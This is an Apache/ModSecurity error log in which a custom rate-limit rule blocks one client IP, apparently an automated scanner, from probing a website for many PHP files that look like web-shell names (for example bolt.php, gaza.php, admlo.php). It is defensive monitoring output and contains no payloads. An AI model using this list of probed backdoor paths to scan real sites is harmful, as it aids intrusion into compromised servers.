[Thu Apr 23 20:09:21.446773 2026] [:error] [pid 65000:tid 65054] [client 20.203.242.251:12737] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aeoL8b6vRb9j6psK2ZZI2AAAAhU"]
[Thu Apr 23 20:09:22.312523 2026] [:error] [pid 42972:tid 43030] [client 20.203.242.251:10316] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/900.php"] [unique_id "aeoL8sOAb-3sOknsk4cbgAAAAE4"]
[Thu Apr 23 20:09:23.025423 2026] [:error] [pid 64998:tid 65009] [client 20.203.242.251:14078] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/900.php"] [unique_id "aeoL84V5EysYcTLjmwhQZwAAAcc"]
[Thu Apr 23 20:09:23.788711 2026] [:error] [pid 64967:tid 64972] [client 20.203.242.251:1368] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/900.php"] [unique_id "aeoL84AV4GfOOdX8QzpuFgAAAYM"]
[Thu Apr 23 20:09:24.559975 2026] [:error] [pid 43083:tid 43092] [client 20.203.242.251:12747] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/900.php"] [unique_id "aeoL9DC5hrvNXosL83JuIwAAAMc"]
[Thu Apr 23 20:10:00.201897 2026] [:error] [pid 43083:tid 43091] [client 20.203.242.251:14073] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aeoMGDC5hrvNXosL83JuOgAAAMY"]
[Thu Apr 23 20:10:01.441287 2026] [:error] [pid 64998:tid 65005] [client 20.203.242.251:14733] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aeoMGYV5EysYcTLjmwhQlAAAAcM"]
[Thu Apr 23 20:10:02.569490 2026] [:error] [pid 59700:tid 59722] [client 20.203.242.251:11344] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aeoMGpXyGZJFeAIDWtkYoAAAAVQ"]
[Thu Apr 23 20:10:03.250739 2026] [:error] [pid 42971:tid 42995] [client 20.203.242.251:16620] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aeoMGzEP2_5RswrH8bEh3wAAAAk"]
[Thu Apr 23 20:10:04.364626 2026] [:error] [pid 65000:tid 65039] [client 20.203.242.251:18034] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/an.php"] [unique_id "aeoMHL6vRb9j6psK2ZZJSgAAAgY"]
[Thu Apr 23 20:10:05.599269 2026] [:error] [pid 64998:tid 65009] [client 20.203.242.251:15083] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/an.php"] [unique_id "aeoMHYV5EysYcTLjmwhQmgAAAcc"]
[Thu Apr 23 20:10:06.522882 2026] [:error] [pid 64998:tid 65008] [client 20.203.242.251:16925] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/an.php"] [unique_id "aeoMHoV5EysYcTLjmwhQnAAAAcY"]
[Thu Apr 23 20:10:07.217042 2026] [:error] [pid 64998:tid 65021] [client 20.203.242.251:16618] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/an.php"] [unique_id "aeoMH4V5EysYcTLjmwhQoAAAAdM"]
[Thu Apr 23 20:10:08.504935 2026] [:error] [pid 43083:tid 43109] [client 20.203.242.251:15274] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/t.php"] [unique_id "aeoMIDC5hrvNXosL83JuPAAAANg"]
[Thu Apr 23 20:10:11.446528 2026] [:error] [pid 64998:tid 65005] [client 20.203.242.251:24294] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/t.php"] [unique_id "aeoMI4V5EysYcTLjmwhQqQAAAcM"]
[Thu Apr 23 20:10:12.913591 2026] [:error] [pid 65000:tid 65056] [client 20.203.242.251:17999] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/t.php"] [unique_id "aeoMJL6vRb9j6psK2ZZJUwAAAhc"]
[Thu Apr 23 20:10:16.351295 2026] [:error] [pid 25635:tid 25657] [client 20.203.242.251:14942] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/t.php"] [unique_id "aeoMKMRxv6UsgRGKB3IuRAAAARI"]
[Thu Apr 23 20:10:20.015449 2026] [:error] [pid 64998:tid 65015] [client 20.203.242.251:14954] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoMLIV5EysYcTLjmwhQrgAAAc0"]
[Thu Apr 23 20:10:22.571108 2026] [:error] [pid 42972:tid 43032] [client 20.203.242.251:42088] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoMLsOAb-3sOknsk4cbxgAAAFA"]
[Thu Apr 23 20:10:26.088036 2026] [:error] [pid 65000:tid 65052] [client 20.203.242.251:15410] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoMMr6vRb9j6psK2ZZJewAAAhM"]
[Thu Apr 23 20:10:27.560785 2026] [:error] [pid 42972:tid 43035] [client 20.203.242.251:18206] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoMM8OAb-3sOknsk4cbzwAAAFM"]
[Thu Apr 23 20:10:29.222649 2026] [:error] [pid 59700:tid 59726] [client 20.203.242.251:18181] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/profile.php"] [unique_id "aeoMNZXyGZJFeAIDWtkYqwAAAVg"]
[Thu Apr 23 20:10:30.648640 2026] [:error] [pid 59700:tid 59722] [client 20.203.242.251:16629] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/profile.php"] [unique_id "aeoMNpXyGZJFeAIDWtkYrgAAAVQ"]
[Thu Apr 23 20:10:33.593674 2026] [:error] [pid 65000:tid 65046] [client 20.203.242.251:42074] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/profile.php"] [unique_id "aeoMOb6vRb9j6psK2ZZJiwAAAg0"]
[Thu Apr 23 20:10:35.320062 2026] [:error] [pid 43083:tid 43102] [client 20.203.242.251:13678] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/profile.php"] [unique_id "aeoMOzC5hrvNXosL83JuUQAAANE"]
[Thu Apr 23 20:10:36.915509 2026] [:error] [pid 65000:tid 65038] [client 20.203.242.251:14945] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gaza.php"] [unique_id "aeoMPL6vRb9j6psK2ZZJkQAAAgU"]
[Thu Apr 23 20:10:40.100894 2026] [:error] [pid 42972:tid 43031] [client 20.203.242.251:10345] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gaza.php"] [unique_id "aeoMQMOAb-3sOknsk4cb4QAAAE8"]
[Thu Apr 23 20:10:43.674872 2026] [:error] [pid 65000:tid 65037] [client 20.203.242.251:16299] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gaza.php"] [unique_id "aeoMQ76vRb9j6psK2ZZJmwAAAgQ"]
[Thu Apr 23 20:10:46.675399 2026] [:error] [pid 64967:tid 64973] [client 20.203.242.251:1350] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gaza.php"] [unique_id "aeoMRoAV4GfOOdX8QzpuMwAAAYQ"]
[Thu Apr 23 20:10:48.440279 2026] [:error] [pid 42973:tid 43045] [client 20.203.242.251:34304] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aeoMSG6I0QqmmmLTHE0ExQAAAII"]
[Thu Apr 23 20:10:51.136985 2026] [:error] [pid 65000:tid 65045] [client 20.203.242.251:1378] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aeoMS76vRb9j6psK2ZZJvQAAAgw"]
[Thu Apr 23 20:10:52.801924 2026] [:error] [pid 65000:tid 65041] [client 20.203.242.251:38802] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aeoMTL6vRb9j6psK2ZZJxwAAAgg"]
[Thu Apr 23 20:10:54.871510 2026] [:error] [pid 42973:tid 43045] [client 20.203.242.251:20506] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aeoMTm6I0QqmmmLTHE0E0QAAAII"]
[Thu Apr 23 20:10:56.790382 2026] [:error] [pid 42972:tid 43020] [client 20.203.242.251:12294] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboute.php"] [unique_id "aeoMUMOAb-3sOknsk4ccHgAAAEQ"]
[Thu Apr 23 20:11:32.299950 2026] [:error] [pid 65000:tid 65030] [client 20.203.242.251:21619] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/retu11.PhP7"] [unique_id "aeoMdL6vRb9j6psK2ZZKEAAAAgE"]
[Thu Apr 23 20:11:34.373235 2026] [:error] [pid 42972:tid 43023] [client 20.203.242.251:41986] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/retu11.PhP7"] [unique_id "aeoMdsOAb-3sOknsk4ccQQAAAEc"]
[Thu Apr 23 20:11:36.647882 2026] [:error] [pid 65000:tid 65050] [client 20.203.242.251:15108] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/retu11.PhP7"] [unique_id "aeoMeL6vRb9j6psK2ZZKGgAAAhE"]
[Thu Apr 23 20:11:37.820951 2026] [:error] [pid 43083:tid 43099] [client 20.203.242.251:15503] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/retu11.PhP7"] [unique_id "aeoMeTC5hrvNXosL83JubQAAAM4"]
[Thu Apr 23 20:11:41.163184 2026] [:error] [pid 42973:tid 43067] [client 20.203.242.251:15534] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rip.php"] [unique_id "aeoMfW6I0QqmmmLTHE0E6wAAAJg"]
[Thu Apr 23 20:11:42.283077 2026] [:error] [pid 59700:tid 59702] [client 20.203.242.251:12955] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rip.php"] [unique_id "aeoMfpXyGZJFeAIDWtkZOAAAAUA"]
[Thu Apr 23 20:11:43.681084 2026] [:error] [pid 42973:tid 43055] [client 20.203.242.251:16980] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rip.php"] [unique_id "aeoMf26I0QqmmmLTHE0E8gAAAIw"]
[Thu Apr 23 20:11:46.843591 2026] [:error] [pid 42972:tid 43031] [client 20.203.242.251:15521] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rip.php"] [unique_id "aeoMgsOAb-3sOknsk4ccSQAAAE8"]
[Thu Apr 23 20:11:48.335795 2026] [:error] [pid 59700:tid 59710] [client 20.203.242.251:17020] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeoMhJXyGZJFeAIDWtkZVwAAAUg"]
[Thu Apr 23 20:11:49.515228 2026] [:error] [pid 65000:tid 65045] [client 20.203.242.251:20073] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeoMhb6vRb9j6psK2ZZKMwAAAgw"]
[Thu Apr 23 20:11:51.374437 2026] [:error] [pid 42972:tid 43035] [client 20.203.242.251:13994] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeoMh8OAb-3sOknsk4ccTwAAAFM"]
[Thu Apr 23 20:11:52.297649 2026] [:error] [pid 42972:tid 43021] [client 20.203.242.251:15601] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeoMiMOAb-3sOknsk4ccUgAAAEU"]
[Thu Apr 23 20:11:54.107815 2026] [:error] [pid 59700:tid 59706] [client 20.203.242.251:13990] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoo.php"] [unique_id "aeoMipXyGZJFeAIDWtkZaQAAAUQ"]
[Thu Apr 23 20:11:56.611112 2026] [:error] [pid 42973:tid 43056] [client 20.203.242.251:14860] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoo.php"] [unique_id "aeoMjG6I0QqmmmLTHE0E-QAAAI0"]
[Thu Apr 23 20:12:00.607895 2026] [:error] [pid 42973:tid 43064] [client 20.203.242.251:41992] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoo.php"] [unique_id "aeoMkG6I0QqmmmLTHE0E_gAAAJU"]
[Thu Apr 23 20:12:01.414511 2026] [:error] [pid 65000:tid 65052] [client 20.203.242.251:18142] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoo.php"] [unique_id "aeoMkb6vRb9j6psK2ZZKQAAAAhM"]
[Thu Apr 23 20:12:02.050677 2026] [:error] [pid 42972:tid 43029] [client 20.203.242.251:42045] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admlo.php"] [unique_id "aeoMksOAb-3sOknsk4ccWgAAAE0"]
[Thu Apr 23 20:12:02.701877 2026] [:error] [pid 42972:tid 43019] [client 20.203.242.251:14473] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admlo.php"] [unique_id "aeoMksOAb-3sOknsk4ccXQAAAEM"]
[Thu Apr 23 20:12:03.450168 2026] [:error] [pid 65000:tid 65054] [client 20.203.242.251:42031] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admlo.php"] [unique_id "aeoMk76vRb9j6psK2ZZKQgAAAhU"]
[Thu Apr 23 20:12:04.097451 2026] [:error] [pid 65000:tid 65030] [client 20.203.242.251:41992] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admlo.php"] [unique_id "aeoMlL6vRb9j6psK2ZZKRQAAAgE"]
[Thu Apr 23 20:12:05.846501 2026] [:error] [pid 42971:tid 43004] [client 20.203.242.251:14472] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gcqoa.php"] [unique_id "aeoMlTEP2_5RswrH8bEh9wAAABI"]
[Thu Apr 23 20:12:07.074295 2026] [:error] [pid 46953:tid 46961] [client 20.203.242.251:11564] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gcqoa.php"] [unique_id "aeoMl0nlpdHh-P6wKbosrgAAAkU"]
